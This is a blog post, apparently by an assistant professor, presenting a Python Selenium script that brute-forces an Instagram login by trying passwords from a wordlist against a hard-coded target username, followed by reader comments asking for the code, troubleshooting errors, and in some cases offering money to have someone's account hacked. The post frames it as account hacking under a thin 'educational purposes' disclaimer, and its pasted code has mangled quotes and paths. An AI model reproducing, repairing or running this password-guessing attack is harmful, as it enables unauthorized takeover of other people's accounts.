Note: This post is only for educational purposes.
The rules and regulations related to Plagiarism shall apply to the students, faculty, researchers, and staff of all higher educational institutions in the country.
I have also searched the whole web for ‘how to hack an Instagram account’ but hardly I found any article or video useful. However, I got some ideas that helped me to create a script to hack Instagram accounts. Moreover, you can use this Python script for hacking passwords for any website.
In this post, we are using web automation. Using automation, we can log in to any website automatically using a username and password in the Python script.
Here in the following script, the username needs to be written in the code and the password is taken from a .txt file. The .txt file contains mostly used passwords on the web. One can also expand this .txt file.
- Open an IDE (Code Editor): There are many IDEs for Python Code like Idle, Pycharm, Visual Studio Code and many others.
- Paste the following given code.
- Run the code.
Copy the following Python code and run it on your computer
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from time import sleep
#webdriver = webdriver.Firefox()
#webdriver.get(‘https://www.instagram.com/accounts/login/’)
PATH=”C:Program Fileschromedriver.exe”
webdriver=webdriver.Chrome(PATH)
webdriver.get(‘https://www.instagram.com/accounts/login/’)
sleep(3)
username = webdriver.find_element_by_name(‘username’)
username.send_keys(‘username’) # write the username of account you want to hack.
password = webdriver.find_element_by_name(‘password’)
passfile=open(‘mat.txt’,’r’)
def display(a):
print(“log in password “+a)
for i in passfile:
try:
password.send_keys(i)
submit = webdriver.find_element_by_tag_name(‘form’)
submit.submit()
c=webdriver.current_url
sleep(5)
b=webdriver.find_element_by_xpath(“//button[contains(text(), ‘Not Now’)]”)
b.click()
sleep(5)
c=webdriver.current_url
except NoSuchElementException:
password.send_keys(Keys.CONTROL,”a”,Keys.DELETE)
sleep(5)
url2=webdriver.current_url
if c!=url2:
display(i)
break
Thanks for visiting us. We hope that the Instagram account hacking tutorial will help you.
Dr. Sunny is an Assistant Professor in higher education. He has completed his Ph.D. He has a depth of knowledge in the research field and in higher education.
PATH=”C:Program Fileschromedriver.exe”
this line giving error in syder, anaconda navigator syntax error
same here
how to solve this
give any program for Instagram password hacking in syder
Use your own path , make a txt file and copy the path and replace it with the current one
when I enter passfile=open(‘mat.txt’,’r’) it show’s error
Make sure, you have mat.txt file in the same folder.
how to identify path?
right click and copy the path
what is mat.txt file
It is a text file (Notepad file) that contains all the suspected passwords which we will use to guess the users’ passwords. you can download the text file from the internet.
i am not able to download can u pls send the link to download
Brother, there are many text files available on the internet. Just google “Most used passwords text file” and download.
Please send code to me
Provide me with your email. By the way, It is complete code.
hey sunny , how are you , please hack one account , please i need chat on this account ,i send money for hack account please hack account ,
Dear, at present It becomes very hard to hack
nota bene that i use windows
damn mine mine is saying this
Traceback (most recent call last):
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 72, in start
self.process = subprocess.Popen(cmd, env=self.env,
File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 1420, in _execute_child
hp, ht, pid, tid = _winapi.CreateProcess(executable, args,
PermissionError: [WinError 5] Access is denied
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\☠💀.py”, line 10, in
webdriver = webdriver.Chrome(PATH)
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\chrome\webdriver.py”, line 73, in __init__
self.service.start()
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 86, in start
raise WebDriverException(
selenium.common.exceptions.WebDriverException: Message: ‘Program Files’ executable may have wrong permissions.
please help me
where we will get this
hack instagram plis
it asks me to enter an open module
it worked for me
Good
send code
send code
Provide me with your email.
send me too plz
[email protected]
Can you send it to me as well please. My email is [email protected]
can u share code to me also pls
@[email protected]
[email protected]. This is my email account can you please send me the code.
hello could u please send your python script here?
anyone know why im getting this?
Traceback (most recent call last):
File “C:/Users/livmi/Desktop/passh.py”, line 1, in
from selenium import webdriver
ModuleNotFoundError: No module named ‘selenium’
help me i am getting error in this line
print(“log in password “+a)
it didnt work kindly please help me.sir
What error you are getting?
can anyone explain me in easy language.
what do i have to do??
Can you made a code for a account which is disabled? I don’t have access to email linked to the account and there is no other way to do get the 6-digit verification code. Please! I need a code. As the pictures I have posted don’t show my face and the selfie-video option was useless for me. Please help! Thank you very much.
It is not easy.
i have no syntax error but their is some other error occurs it is not in my program i can send this error to you
Yes
i always get syntax error
and did anyone crack insta password with this pls help me to do the same
i forgot my password and my eamil is also not responding
webdriver.get(‘https://www.instagram.com/Username/’)
^
SyntaxError: invalid character ‘‘’ (U+2018)
getting error like this
plz help me bro i dont get it how to use ??
my email id “[email protected]”
plz send that code or else the coding to my gmail
that does not show any errors and open in a single attempt